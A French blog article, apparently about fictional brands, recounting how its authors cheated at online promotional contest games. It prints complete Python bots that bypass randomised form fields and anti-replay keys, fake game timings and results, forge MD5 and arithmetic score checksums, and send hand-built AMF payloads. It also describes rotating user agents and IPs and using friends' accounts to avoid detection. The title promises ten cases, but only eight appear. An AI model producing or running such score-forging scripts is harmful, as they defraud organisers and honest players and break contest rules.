Tricher aux jeux concours : 10 exemples dont 1 essai de hack

Tricher aux jeux concours, certains diront que c'est déguelasse, que ce n'est pas du jeu etc. Pour ceux qui ont passé des dizaines d'heures sur un jeu pour obtenir un bon score alors qu'il nous a fallu 5 minutes pour les dépasser, je dis ceçi : un jeu ne devrait t-il pas récompenser l'intelligence plutôt que l'acharnement ? Quel intérêt il y a t-il à cliquer comme un bourrin sur sa souris à s'en casser l'index ? Alors qu'analyser un algorithme, casser des protections, coder un bot, ça c'est intéressant :)

Dans cet article on va étudier 10 cas de triche sur des jeu-concours différents. Toutes les entitées, entreprises, sites Internet décrites dans l'article sont fictives. Toute ressemblance serait fortuite. La tentative de hack est bien sûr fictive, totalement imaginaire et romancée. Bien loin de nous, simples anonymes que nous sommes, l'idée de ne pas respecter la loi ou d'inciter à quelques crimes que ce soit car nul n'est censé ignorer la loi. Suivons scrupuleusement l'exemple de nos politiques en matière d'intégrité et d'honnêteté, eux qui nous montrent tellement bien comment se comporter en société.

Outils à utiliser pour ce type d'analyse :
Un proxy web applicatif comme Burp Suite, Paros ou un plugin navigateur permettant d'intercepter et modifier les requêtes HTTP. J'ai une préférence pour Charles Proxy car il gère des formats d'encodage comme XMl, JSON et AMF. A défaut, un analyser de trames (Wireshark) fera l'affaire.
Un décompilateur de fichiers SWF. Notre préférence va à Sothink SWF Decompiler
De quoi coder des programmes qui enverront des requêtes HTTP. Langage de programmation votre choix.

Quelques conseils :

Après ça, on peut s'y mettre. Retrouvez certains des codes dans data/concours. Bonne lecture.

Jeu numéro 1

Présentation

La société Bricabrac organise un concours qui permettra aux gagnants de remporter divers lots hight-tech.
Elle a fait appel à la société Concours-Flash qui a créé un jeu flash pour l'occasion qu'elle héberge sur ses serveurs.
Le jeu est un classique du type pierre/feuille/ciseaux joué contre l'ordinateur. Une partie se fait en 3 coups. Pour chaque coup on peut donc être gagnant, perdant ou ex-aequo.
Le jeu se déroule sur une période de temps prédéfini. Les gagnants seront donc ceux qui auront le plus de points à l'issu du jeu concours.

Pwnage

Une analyse des pages web et des communications lors d'une partie de test nous donne les infos suivantes :
Un cookie est créé lors de la première connexion à la page du jeu. Il faut ensuite s'identifier (inscription préalable) via un formulaire dont les noms des champs de login et de mot de passe sont de toute évidence générés aléatoirement pour bloquer des attaques par rejeu. Bien sûr ça ne bloquera pas un programmeur ;-)
On tombe ensuite sur une page de transition avec un formulaire et un champ caché correspondant encore une fois à une clé générée aléatoirement.
Passé cette page, c'est l'animation Flash qui prend le relais. Pour chaque coup, une première requête est envoyée indiquant au serveur que le menu de sélection du coup est chargé.
Une seconde requête est envoyée lorsque le joueur a sélectionné son coup (pierre, feuille ou ciseaux) et que le résultat a été affiché. Cette seconde requête est envoyée avec un timestamp (date UNIX en secondes) qui correspond au début de la partie.
Ca permet au serveur de calculer la durée de la partie (temps entre ce timestamp et la requête de fin de la partie). Si le temps est trop court, c'est que l'utilisateur a triché.

Comme le gagnant est celui qui aura fait le plus de parties gagnantes, on peu tricher sur la proportion de victoires par rapport aux défaites et optimiser le temps de nos parties par des essais : si notre score n'est pas pris en compte, cela signifie qu'on est allé trop vite. On augmente ce temps jusqu'à obtenir le temps minimum où le score est pris en compte.

Notre bot dans sa version finale (après moult essais) était le suivant :

import httplib
import time
import re
import urllib
import sys
import random

navigateurs = ['Opera/9.80 (Windows NT 5.1; U; fr) Presto/2.6.30 Version/10.63',
                'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7',
                'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0;',
                'Mozilla/5.0 (Linux; U; Android 2.2; en-gb; Nexus One Build/FRF50)',
                'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MyIE2; InfoPath.2)',
                'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US)',
                'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727; MAXTHON 2.0)',
                'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8']

base_headers = {}
base_headers["Accept"] = "application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
base_headers["User-Agent"] = random.choice(navigateurs)
base_headers["Accept-Language"] = "fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4"
base_headers["Accept-Charset"] = "ISO-8859-1,utf-8;q=0.7,*;q=0.3"

msg = {'G':'Gagne', 'P':'Perdu', 'N':'Nul'}

while True:
    # Selection d'un des perso propose au hazard
    personnage = random.choice(['nounours', 'magicien', 'rambo', 'oussama', 'bernadette'])
    cnx = httplib.HTTPConnection("www.concours-flash.fr")
    h = base_headers.copy()
    # Premiere connexion au site pour obtenir un cookie
    h["Referer"] = "http://www.bricabrac.com/concours/go.html"
    cnx.request("GET", "/bricabrac/index.php", headers = h)
    resp = cnx.getresponse()
    data = resp.read()
    cookie = resp.getheader("Set-Cookie", "").split(';')[0].strip()
    h["Cookie"] = cookie

    # On reduit le contenu de la page au formulaire
    start = data.find('id="formulaire"')
    end = data.find('</form>', start)
    form = data[start+1:end]

    start = form.find('name="key"')
    end = form.find(" />", start)
    # Les noms des champs etant generes aleatoirement on doit les recuperer
    # Heureusement la presence du type des champs (text et password) nous aide
    # et puis ils ressemblent a des hashs... donc un ptit coup de regex et c ok
    try:
      key = re.findall(r"([a-f\d]{32})", form[start:end])[0]
    except IndexError:
      continue

    start = form.find('type="text"', end)
    end = form.find(" />", start)
    try:
      email = re.findall(r"([a-f\d]{32})", form[start:end])[0]
    except IndexError:
      continue

    start = form.find('type="password"', end)
    end = form.find(" />", start)
    try:
      password = re.findall(r"([a-f\d]{32})", form[start:end])[0]
    except IndexError:
        continue

    # Maintenant qu'on a les champs, on envoi le formulaire
    d = {'key': key, 'action' : 'login', 'formulaire' : '2', email : 'hacker@plop.com', password : 'h4ck3r'}

    h["Referer"] = "http://www.concours-flash.fr/bricabrac/index.php"
    h["Content-Type"] = "application/x-www-form-urlencoded"
    cnx.request("POST", "/bricabrac/index.php", urllib.urlencode(d), headers = h)
    resp = cnx.getresponse()
    data = resp.read()

    # Page de transition
    h.pop("Content-Type")
    cnx.request("GET", "/bricabrac/index.php", headers = h)
    resp = cnx.getresponse()
    data = resp.read()

    # La encore cle aleatoire a extraire
    end = data.find('</form>"')
    start = data.rfind('name="key', 0, end)
    try:
      key = re.findall(r"([a-f\d]{32})", data[start:end])[0]
    except IndexError:
      continue
    d = { 'key' : key}

    h["Content-Type"] = "application/x-www-form-urlencoded"
    cnx.request("POST", "/bricabrac/index.php", urllib.urlencode(d), headers = h)
    resp = cnx.getresponse()
    data = resp.read()

    # Page de chargement du jeu Flash avec param timestamp
    h.pop("Content-Type")
    cnx.request("GET", "/bricabrac/index.php", headers = h)
    resp = cnx.getresponse()
    data = resp.read()

    start = data.find('value="timestamp=', end)
    end = data.find('&', start)
    timestamp = re.findall(r"([\d]{10})", data[start:end])[0]
    print "Timestamp:",timestamp


    cnx2 = httplib.HTTPConnection("www.concours-flash.fr")
    cnx2.request("GET", "/bricabrac/flash/jeu.swf", headers = h)
    resp = cnx2.getresponse()
    resp.read(50)
    cnx2.close()
    time.sleep(1)

    for x in range(0,15):
      for coup in range(1, 4):

        req = "perso=%s&var%%5Fcoup=%s&action=insert" % (personnage, coup)
        cnx.request("POST", "/bricabrac/coup.php", req, headers = h)
        resp = cnx.getresponse()
        data = resp.read()
        print "Round", coup, ":", data.split("=")[1]
        cnx.close()

        time.sleep(5.5)

        # Gagnant, perdant ou nul ?
        r = random.choice("GGGNNP")
        print msg[r]
        d = {'timestamp' : timestamp, 'perso' : personnage, 'resultat' : r, 'action' : 'update'}
        cnx = httplib.HTTPConnection("www.concours-flash.fr")
        cnx.request("POST", "/bricabrac/coup.php", urllib.urlencode(d), headers = h)
        try:
          resp = cnx.getresponse()
          data = resp.read()
        except httplib.BadStatusLine:
          print(":(")
          pass


      cnx.request("POST", "/bricabrac/victoire.php", "action=nombre%5Fvictoire", headers = h)
      resp = cnx.getresponse()
      data = resp.read()
      print "Nombre de victoires:", data.split("=")[1]

      cnx.request("POST", "/bricabrac/flashvars.php", "action=reload", headers = h)
      resp = cnx.getresponse()
      data = resp.read()
      if random.choice("GGGNNP") == "G":
        start = data.find("{") + 1
        end = data.rfind("}") - 1
        print "\n".join(data[start:end].split("}"))
      print
    cnx.close()

Résultat

Malgré qu'à la clôture du jeu le bot soit placé parmis les gagnants, lors de la désignation des gagnants il n'y apparaissait plus.
On a joué plus discret que certains tricheurs qui se sont placés en top list en quelques minutes seulement (et leur compte directement supprimé ensuite) mais pas assez fin : vers la fin du jeu la bataille faisait rage avec d'autres joueurs qui devaient avoir aussi leur propre bot. Pour devoir l'emporter on a du abuser sur les proportions de parties gagnantes, ce qui était forcément visible lors de la récolte des scores...
On a donc pas obtenu le moindre lot... Le bot était assez discret mais on a agit par excès de confiance. A noter que le réglement interdisait les bots et que les organisateurs se réservaient aussi le droit d'annuler le jeu.
Vu le nombre de tricheurs que l'on a croisé, il n'est pas certain que les gagnants listés des mois après la cloture du jeu aient effectivement touché leurs lots.

Jeu numéro 2

Présentation

La chaine de restaurants Cornedbeef organise un jeu dont le gain est un voyage par avion pour une très grande ville US.
Le jeu est un autre classique des concours flash : des objets tombent et il faut les ramasser ou les aiguiller au bon endroit.
Parmis ceux qui auront les meilleurs scores, un tirage au sort aura lieu pour désigner le gagnant.

Pwnage

Ici peu de requêtes ont lieu lors d'une partie. On croise d'abord un formulaire avec là encore un champ aléatoire (cette fois sa valeur).
Une fois passé le login, le jeu se charge. A la fin du jeu les scores sont envoyés vers le serveur.
On remarque une variable particulière qui ressemble à un hash md5.
On récupère le swf du jeu, on le passe à la moulinette avec Sothink SWF Decompiler et on trouve la fonction suivante :

public function envoiScore()
{
    var _loc_1:* = new URLVariables();
    _loc_1.score = Jeu.lastScore;
    _loc_1.firstname = Jeu.firstname;
    _loc_1.lastname = Jeu.lastname;
    _loc_1.buffalo = Jeu.id;
    _loc_1.id = MD5.hash(Jeu.lastScore + ":" + Jeu.firstname + ":" + Jeu.id);
    var _loc_2:* = new URLRequest("php/envoiscore.php");
    _loc_2.data = _loc_1;
    _loc_2.method = URLRequestMethod.POST;
    var _loc_3:* = new URLLoader();
}

La clé est bien un hash MD5 correspondant au score, le pseudo du joueur et son id sur le jeu le tout séparé par le caractère ':'.
A partir de là ce n'est pas compliqué d'envoyer le score que l'on souhaite au serveur.

Le code final est le suivant :

import hashlib
import httplib2
import sys
import re
import urllib

# On demande les infos a envoyer sur la console
email = raw_input("Email: ")
passwd = raw_input("Password: ")
score = raw_input("Score: ")

if not score.isdigit():
    print "Le score doit etre un chiffre!!!"
    sys.exit()

if int(score) > 8000:
    print "score trop grand!"
    sys.exit()

navigateur = 'Mozilla/5.0 (X11; U; Linux x86_64; en-US) Chrome/7.0.517.44 Safari/534.7'
h = {}
h["Accept"] = "application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
h["User-Agent"] = navigateur
h["Accept-Language"] = "fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4"
h["Accept-Charset"] = "ISO-8859-1,utf-8;q=0.7,*;q=0.3"
h["Referer"] = "http://www.cornedbeef.fr/jeu/"

# Obtenir le formulaire de login + cookie
cnx = httplib2.Http()
resp, data = cnx.request("http://www.cornedbeef.fr/beef/login", headers=h)

cookie_name = resp["set-cookie"].split("=")[0]
cookie = resp["set-cookie"].split(";")[0] + "; mt_redirect=true"
h["Cookie"] = cookie
print
print "Connecting..."
print "Cookie:", h["Cookie"]
print

start = data.find('form_build_id" id="') + 19
end = data.find('"', start)
form_id = data[start:end]
print "Found form_id", form_id

# Identification
h["Content-type"] = "application/x-www-form-urlencoded"
h["Referer"] = "http://www.cornedbeef.fr/beef/login"
req =  "name=" + urllib.quote_plus(email)
req += "&pass=" + urllib.quote_plus(passwd)
req += "&remember_me=1&form_build_id=" + form_id + "&form_id=user_login&op=connecter"
resp, data = cnx.request("http://www.cornedbeef.fr/beef/login", "POST", body = req, headers = h)
new_val = re.findall(r"=([a-f\d]{32});", resp["set-cookie"])[0]

cookie = cookie_name + "=" + new_val + "; mt_redirect=true"
print "Login in..."
print "New cookie:", cookie

h["Cookie"] = cookie

start = data.find("<status>") + 8
end = data.find("</status>", start)
if data[start:end] == "0":
    print "Erreur de login!"

start = data.find("<id>") + 4
end = data.find("</id>", start)
id = data[start:end]

start = data.find("<prenom>") + 8
end = data.find("</prenom>", start)
firstname = data[start:end]

start = data.find("<nom>") + 5
end = data.find("</nom>", start)
lastname = data[start:end]

print "Logged in with userid %s (%s %s)" % (id, firstname, lastname)


text = score + ":" + firstname + ":" + id
h.pop("Referer")
hacked_id = hashlib.md5(text).hexdigest()
req = "score=%s&lastname=%s&steak=%s&id=%s&firstname=%s" % \
        (score, lastname, id, hacked_id, firstname)
print "Generating score ID", hacked_id

print "Resultats:"
h["Content-type"] = "application/x-www-form-urlencoded"
resp, data = cnx.request("http://www.cornedbeef.fr/jeu/php/envoiscore.php", "POST", req, headers = h)
print data
h.pop("Content-type")

# Affichage resultat
resp, data = cnx.request("http://www.cornedbeef.fr/jeu/php/userinfo.php?steak=" + id, headers = h)
print data

resp, data = cnx.request("http://www.cornedbeef.fr/jeu/php/top5.php", headers = h)
print data

Résultat

Sachant qu'un tirage au sort final aura lieu, on s'est dit autant augmenter nos chances sur le tirage aussi. On a donc demandé à des potes de s'enregistrer sur le jeu chacun avec une IP différente et de nous communiquer leurs identifiants. On a alors envoyé des scores gagnant pour ces comptes, toujours avec des IPs séparées...
Mais on est toujours sans nouvelles de l'organisateur qui indique depuis plus d'un an sur son site que le gagnant sera bientôt contacté.
Conclusion, là encore le tricheur n'est pas celui que l'on croit... L'organisateur a récolté plein d'adresses mails avec son concours et le lot n'a jamais été donné.

Jeu numéro 3

Présentation

Les magasins HyperSuper ont sur leur site une section avec différents jeux qui permettent de gagner des réductions ou des lots de temps en temps.
Avec un bon score aux jeux on augmente nos chances d'obtenir un cadeau. On a opté pour le jeu de Mahjong qui est plutôt sympa.

Pwnage

Après analyse des communications lors d'une partie ça semble assez simple. La seule difficultée est l'envoi par le jeu flash d'une variable de timestamp à intervale régulier (sur une url de ping) ainsi que une variable d'aléa sur une page appellée dispatch.
Il a d'abord fallu analyser le flash pour confirmer que la variable était vraiment aléatoire. L'objectif du ping est de maintenir la session de l'utilisateur ouverte pendant qu'il joue (certains jeux peuvent durer longtemps).

On a mis ça en place de la façon suivante :

import httplib2
import sys
import re
import urllib
import random
from threading import Thread
import time
import BeautifulSoup
import socks

PHPSESSID = ""
ok = 1

navigateur = 'Mozilla/5.0 (X11; U; Linux x86_64; en-US) Chrome/7.0.517.44 Safari/534.7'
h = {}
h["Accept"] = "application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
h["User-Agent"] = navigateur
h["Accept-Language"] = "fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4"
h["Accept-Charset"] = "ISO-8859-1,utf-8;q=0.7,*;q=0.3"
h["Accept-Encoding"] = "identity"

cnx = httplib2.Http()

# Un thread qui gere la page de ping
class Ping(Thread):
    def __init__(self):
        Thread.__init__(self)

    def run(self):
        head = h.copy()
        while True:
            t = str(int(time.time() * 1000))
            ping_url = "http://www.super.com/php/ping.php?PHPSESSID=" + PHPSESSID
            ping_url += "&t=" + t
            head["Cookie"] = "PHPSESSID=" + PHPSESSID
            resp, data = cnx.request(ping_url, headers=head)
            print ping_url
            if data.strip() != "":
                print "ping response:", data.strip()
            time.sleep(30)
            if ok == 0:
                break


# Page des jeux qui nous renvoie un cookie + formulaire login
resp, data = cnx.request("http://www.hyper.com/portail/accueil_jeux", headers=h)

JSESSIONID = resp["set-cookie"].split("=")[1].split(';')[0]
h["Cookie"] = "JSESSIONID=" + JSESSIONID


d = {}
soup = BeautifulSoup.BeautifulSoup(data)
form_url = soup.form["action"]
for input in soup.form.findAll("input"):
    if input["type"] == "image":
        continue
    if input["name"].endswith("login}"):
        d[input["name"]] = "hacker"
    elif input["name"].endswith("password}"):
        d[input["name"]] = "c0ncours"

# Envoi des identifiants
h["Content-type"] = "application/x-www-form-urlencoded"
h["Referer"] = "http://www.hyper.com/portail/accueil_jeux"
resp, data = cnx.request(form_url, "POST", body = urllib.urlencode(d), headers = h)
soup = BeautifulSoup.BeautifulSoup(data)

h.pop("Content-type")
h.pop("Cookie")

# Le jeu en lui meme est joue dans une iframe
resp, data = cnx.request(soup.iframe["src"], headers = h)
PHPSESSID = resp["content-location"].split("=")[1]
h["Cookie"] = "PHPSESSID=" + PHPSESSID

resp, data = cnx.request("http://www.super.com/?PHPSESSID=" + PHPSESSID, headers = h)

# On declare un debut de partie
h.pop("Referer")
url = "http://www.super.com/php/dispatch.php?PHPSESSID=" + PHPSESSID
url += "&service=init&alea=" + str(random.randint(1000,11000))
resp, data = cnx.request(url, headers = h)

# Si notre login est dans la page, la cnx a fonctionne
if data.find("HACKER") > 1:
    print "Logged in :)"
else:
    print "Login error"
    sys.exit()


form_url = "http://www.super.com/php/dispatch.php?PHPSESSID=" + PHPSESSID
form_url += "&service=jeu&alea=" + str(random.randint(1000,11000))
h["Content-type"] = "application/x-www-form-urlencoded"
resp, data = cnx.request(form_url, "POST", body = "id%5Fjeu=13", headers = h)

soup = BeautifulSoup.BeautifulSoup(data)
id_partie = soup.infos.id_partie.next
print "id partie:", id_partie
mess_err = soup.infos.mess_err.next.strip()
if mess_err != "":
    print "!",mess_err,"!"
    sys.exit()

# On lance notre thread de ping
ping = Ping()
ping.start()

# On attend pour similer une partie en cours. Pendant ce temps ca ping.
time.sleep(160)

# On declare la fin de partie avec notre score
form_url = "http://www.super.com/php/dispatch.php?PHPSESSID=" + PHPSESSID
form_url += "&service=finjeu&alea=" + str(random.randint(1000,11000))
req = "data=0&id%5Fpartie=" + id_partie + "&score=5000"
resp, data = cnx.request(form_url, "POST", body = req, headers = h)
print data

ok = 0

Résultat

Abandonné... Certes on peu obtenir de bons scores mais les probabilités de gagner un lot important sont beaucoup trop faibles.

Jeu numéro 4

Présentation

La société de sportswear Trocool organise le concours Wesh Game. Le jeu est un classique très proche du précédent sauf qu'il faut éviter les objets et tenir le plus longtemps possible.
Le score final est en fait la durée que l'on a tenu avant le game over.

Pwnage

Une analyse des communications montre que les données sont envoyées et reçues au format AMF via une install du framework AMF-PHP.
Ce format peut être très chiant quand il envoie des entiers ou qu'il faut gérer des chaines de taille variable... Or ici ce n'est pas le cas. Il faut juste faire attention au fait que le temps qui défile dans le jeu ne correspond pas au temps de jeu dans la vrai vie. Pour obtenir un bon score valide on va donc relever les meilleurs scores sur le top 10.
En dehors de ça, pas de difficultées particulières.

import httplib2
import sys
import re
import urllib
import random
from threading import Thread
import time
import BeautifulSoup
import socks
import string

PHPSESSID = ""
ok = 1

navigateur = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8'
h = {}
h["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
h["User-Agent"] = navigateur
h["Accept-Language"] = "fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4"
h["Accept-Charset"] = "ISO-8859-1,utf-8;q=0.7,*;q=0.3"
h["Accept-Encoding"] = "identity"

cnx = httplib2.Http()

# Connexion premiere page pour avoir un cookie
resp, data = cnx.request("http://www.trocool.fr/wesh-game", headers=h)

PHPSESSID = resp["set-cookie"].split("=")[1].split(";")[0]
h["Cookie"] = "PHPSESSID=" + PHPSESSID + ";"
print h["Cookie"]

# Recuperation du "captcha"
soup = BeautifulSoup.BeautifulSoup(data)
captcha = soup.find('input', id="captcha")["value"]
print "Captcha:", captcha

# Envoi des indentifiants + captcha
req  = "login=hacker%40plop.com&password=31337&submit=ok"
req += "captcha=" + captcha

h["Content-type"] = "application/x-www-form-urlencoded"
h["Referer"] = "http://www.trocool.fr/wesh-game"
resp, data = cnx.request("http://www.trocool.fr/wesh-game", "POST", body = req, headers = h)

# La page doit etre rechargee
h.pop("Content-type")
resp, data = cnx.request("http://www.trocool.fr/wesh-game", headers=h)

# Si notre login est dans la page alors on est connecte
if data.find("hacker") == -1:
    print "Echec :("
    sys.exit()
soup = BeautifulSoup.BeautifulSoup(data)

# Encore une iframe a charge
resp, data = cnx.request(soup.iframe["src"], headers = h)
soup = BeautifulSoup.BeautifulSoup(data)
print "Logged in :)"

# On fait des requetes pour demander les swf... meme si on s'en fout
# c juste pour etre + discret
resp, data = cnx.request(soup.embed["src"], headers = h)

h.pop("Referer")
# idem
resp, data = cnx.request("http://www.trocool.fr/wesh/swf/jeu.swf", headers = h)

# On attend pour faire croire que l'on joue
time.sleep(160)

# Donnees AMF
s  = "\x00\x00\x00\x01\x00\x10"
s += "amf_server_debug"
s += "\x01\x00\x00\x00\x60\x03\x00\x0a"
s += "coldfusion"
s += "\x01\x01\x00\x0a"
s += "amfheaders"
s += "\x01\x00\x00\x03"
s += "amf"
s += "\x01\x00\x00\x0b"
s += "httpheaders"
s += "\x01\x00\x00\x09"
s += "recordset"
s += "\x01\x01\x00\x05"
s += "error"
s += "\x01\x01\x00\x05"
s += "trace"
s += "\x01\x01\x00\x07"
s += "m_debug"
s += "\x01\x01\x00\x00\x09\x00\x02\x00\x12"
s += "services.getScores"
s += "\x00\x02"
s += "/1"
s += "\x00\x00\x00\x05\x0a\x00\x00\x00\x00\x00\x11"
s += "services.setScore"
s += "\x00\x02"
s += "/2"
s += "\x00\x00\x00"
s += "+"
s += "\x0a\x00\x00\x00\x01\x0a\x00\x00\x00\x03\x02\x00\x04"
s += "2634"
s += "\x02\x00\x08"

# Le score... dans le temps du jeu video
s += "08:01:37"

s += "\x02\x00\x0c"
s += "hacker_31337"

print "Pwning..."
h["Content-type"] = "application/x-amf"
h["Referer"] = "http://www.trocool.fr/wesh/swf/jeu.swf"
resp, data = cnx.request("http://www.trocool.fr/wesh/site/amf/gateway.php", "POST", body = s, headers = h)

def convert(c):
    if c in string.printable:
        return c
    else:
        return " "

result = "".join(map(convert, data))
result = re.sub("\t+", " ", result)
result = re.sub(" +", " ", result)
print result

Résultat

A cause de tricheurs moins discrets ayant envoyés des scores mathématiquement impossibles, l'organisateur a viré volontairement les meilleurs scores en faisant croire à un problème technique. Comme on a pas eu le temps de se réenregistrer, les lots nous sont passé sous le nez... sympa pour les participants.

Jeu numéro 5

La société BonbonBon organise un jeu qui permet de gagner des paquets de bonbons. Elle a eu recours à la société DesignSuperPro pour créer leur jeu. Cette dernière se présente sur son site Internet comme très pro etc.
Seulement le jeu est une pauvre animation qui pourrait être codée en javascript et l'envoi du score se fait via un champ caché dans un formulaire html... Triche possible via le navigateur.
On s'est enregistré avec le meilleur score, on attend toujours les bonbons.
A mon avis les lots tout comme le jeu, l'organisateur et la société qui a fait le jeu sont une bonne blague.

Jeu numéro 6

Présentation

La boîte Rillettes de Brest organise un concours pour pouvoir gagner des rillettes.
Le jeu est du type "memory", un autre grand classique des jeux concours.

Pwnage

La seule difficulté consiste à comprendre comment son calculés les points. Pour le reste le score est envoyé en clair. L'analyse du swf nous renseigne :

loc1.score.text = "SCORE : " + (200 + 2 * nbrePaire - nbreCoup);

Le nombre de paires est fixe : il y a 12 paires. Pour déterminer à quoi correspond la variable nbreCoup on fait une partie à l'arrache en comptant le nombre de fois où on clique.
On découvre finalement qu'il s'agit exactement du nombre de clics.
Comme il y a 12 paires, on fait au minimum (un perfect) 24 clics. Le score max est donc 200 + 2 * 12 - 24 = 200. Plus qu'à s'enregistrer avec ce score.

Résultat

Comment expliquer que dans le top 10 on trouve que des scores supérieurs à 200 ? Là encore des tricheurs pas très futés. Du coup on sait pas si la société enverra finalement des lots...

Jeu numéro 7

Présentation

La société de prêt à porter TopLaClasse organise un jeu concours pour gagner des parfums. Il faut jouer à un jeu style récupération d'un max d'objets dans le temps aloué.

Pwnage

L'analyse des communications montre un simple POST avec l'adresse mail et le score mais aussi une variable key qui fait office de checksum.
On analyse le swf et on trouve le code suivant :

txt_email.text = _root.game_so.data.emailPlayer;
var TldEmail:Array = new Array();
var TK:String = new String();
var Now = new Date();
ldEmail = new LoadVars();
btn_saisie._visible = true;
btn_save._visible = txt_email._visible = false;
if (txtReponseEmail != "")
{
    btn_save._visible = txt_email._visible = btn_saisie._visible = false;
} // end if
btn_save.onRelease = function ()
{
    ldEmail.score = score;
    ldEmail.key = TK = "";
    _root.game_so.data.emailPlayer = email;
    for (i = 0; i < 5; i++)
    {
        TK = TK + ord(email.substr(i, i + 1)).toString();
    } // end of for
    var _loc3 = Now.getHours();
    var _loc2 = Now.getMinutes();
    if (_loc2.length == 1)
    {
        _loc2 = "0" + _loc2;
    } // end if
    ldEmail.key = ((Number(TK) + score) * 42 + Number(_loc3 + _loc2)).toString();
    ldEmail.email = email;
    ldEmail.sendAndLoad("http://www.toplaclasse.com/pages/jeu-record.html", ldEmail, "POST");
};

C'est une simple opération mathématique qui se base sur les représentations décimales des 5 premiers caractères de l'adresse email, le score, ainsi que les heures et les minutes au moment du jeu.
Ce qui nous donne le code python suivant :

import time
import urllib
import httplib2

email = "hacker@plop.com"
score = 31337

h = time.localtime().tm_hour
m = time.localtime().tm_min

s = ""
for c in email[:5]:
    s += str(ord(c))

k = int(s) + score
k *= 42

k += h + m
print "%d:%d" % (h, m)
print "key:", k

d = {'email' : email,
    'key': str(k),
    'score' : str(score),
    'onLoad' : '[type Function]'}
print urllib.urlencode(d)

head = {"User-Agent" : "Opera/9.80 (Windows NT 5.1; U; fr) Presto/2.9.168 Version/11.52",
        'Content-type': 'application/x-www-form-urlencoded'}

cnx = httplib2.Http()
response, content = cnx.request("http://www.toplaclasse.com/pages/jeu-position.html",
                            'POST', headers=head, body=urllib.urlencode({"score": str(score)}))
print content

head["cookie"] = response["set-cookie"].split(";")[0]
print head["cookie"]

response, content = cnx.request("http://www.toplaclasse.com/pages/jeu-record.html",
                            'POST', headers=head, body=urllib.urlencode(d))
print content

Résultat

On a eu un retour indiquant qu'on faisait partie des gagnants. Reste à voir si on recevra un jour le lot.

Jeu numéro 8

Présentation

Les céréales du petit déjeuner Crakobon organisent un concours permettant de gagner différents lots high-tech, principalement des consoles de jeu.
Le jeu est de type pierre/feuille/ciseaux mais le score final n'est pas pris en compte : si vous perdez une partie vous pouvez rejouer autant de fois que vous le souhaitez jusqu'à la victoire.
Un nombre maximal de parties gagnées est possible par journée. A la fin d'une période donnée, la somme des parties gagnées est comptabilisée est correspond à un nombre de participation pour un tirage au sort sur cette période.
Conclusion : pas de triche possible, il suffit juste de créer un bot qui va faire notre nombre max de parties chaque jour. On le placera dans une tâche cron pour qu'il soit lancé.

Pwnage

Etant donné le fonctionnement global du challenge, ce dernier n'a pas de mécanismes particuliers de vérification. Il convient juste de se connecter sur le site du jeu, récupérer un cookie de session et envoyer nos "bulletins gagnants" sur le serveur.
On pourrait faire ça à l'arrache sans se soucier des réponses que nous renvoie le serveur mais on a décidé de bien faire les choses en vérifiant le nombre de parties restantes (dans le cas où le script serait lancé au moment où les compteurs sont remis à zéro) et en créant un journal de log qui historise nos parties jouées.

On a alors le code suivant qui sera rajouté dans la crontab (ou cron.daily) :

# -*- coding: utf-8 -*-
import httplib2
import random
import urllib
import sys
import re
import time

h = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:8.0) Gecko/20100101 Firefox/8.0'}

http = httplib2.Http()
response, content = http.request("http://www.crakobon.fr/", 'GET', headers=h)
h['Cookie'] = response['set-cookie'].split(";")[0]
print "Got session cookie", h["Cookie"]

h["Content-Type"] = "application/x-www-form-urlencoded"

def httpurl(d):
  l = []
  for k, v in d.items():
    if isinstance(k, unicode):
      k = k.encode("utf-8")
    if isinstance(v, unicode):
      v = v.encode("utf-8")
    k = urllib.quote(k)
    v = urllib.quote(v)
    l.append(k + "=" + v)
  return "&".join(l)


def make_req(service, params=None):
  url = "http://www.crakobon.fr/dispatch.php?%s&service=%s&alea=%s" % (h['Cookie'], service, str(random.randrange(2000,11000)))
  if service == "init":
    method = "GET"
    response, content = http.request(url, 'GET', headers=h)
  else:
    method = "POST"
    response, content = http.request(url, 'POST', headers=h, body=httpurl(params))
  return content

make_req("init")
make_req("tracking", {"page": "Start"})
make_req("tracking", {"page": "Home"})
buff = make_req("login", {'email': 'hacker@plop.com', 'pass': 'p4ssw0rd'}) # doit renvoyer le login et <parties_restant>X</parties_restant>
if buff.find("hacker") < 0:
  print "Login error"
  sys.exit()
r1 = re.compile('<parties_restant>(.*?)</parties_restant>')
nb_parties = int(r1.search(buff).group(1))
print "Login ok"

if not nb_parties:
  print "Plus de parties pour aujourd'hui !"
  sys.exit()
print nb_parties, "parties a jouer."

make_req("user_info", {"pseudo": "hacker"})

r2 = re.compile('<id_partie>(.*?)</id_partie>')
i = 0
# On joue nos parties gagnantes
while nb_parties > 0:
  make_req("tracking", {"page": "Fight- Round 3"})

  buff = make_req("debut_partie", {"type": "IA"}) # renvoit <id_partie>X</id_partie>
  id_partie = r2.search(buff).group(1)

  make_req("tracking", {"page": "Jeu"})
  buff = make_req("fin_partie", {"winner": "Y", "id_partie": id_partie})  # renvoit <parties_restant>X</parties_restant>
  nb_parties =  int(r1.search(buff).group(1))

  make_req("tracking", {"page": u"Victory"})
  i += 1

# On enregistre les resultats
fd = open("/tmp/log_crakobon", "a")
fd.write("%s: %s parties jouees\n" % (time.asctime(), str(i)))
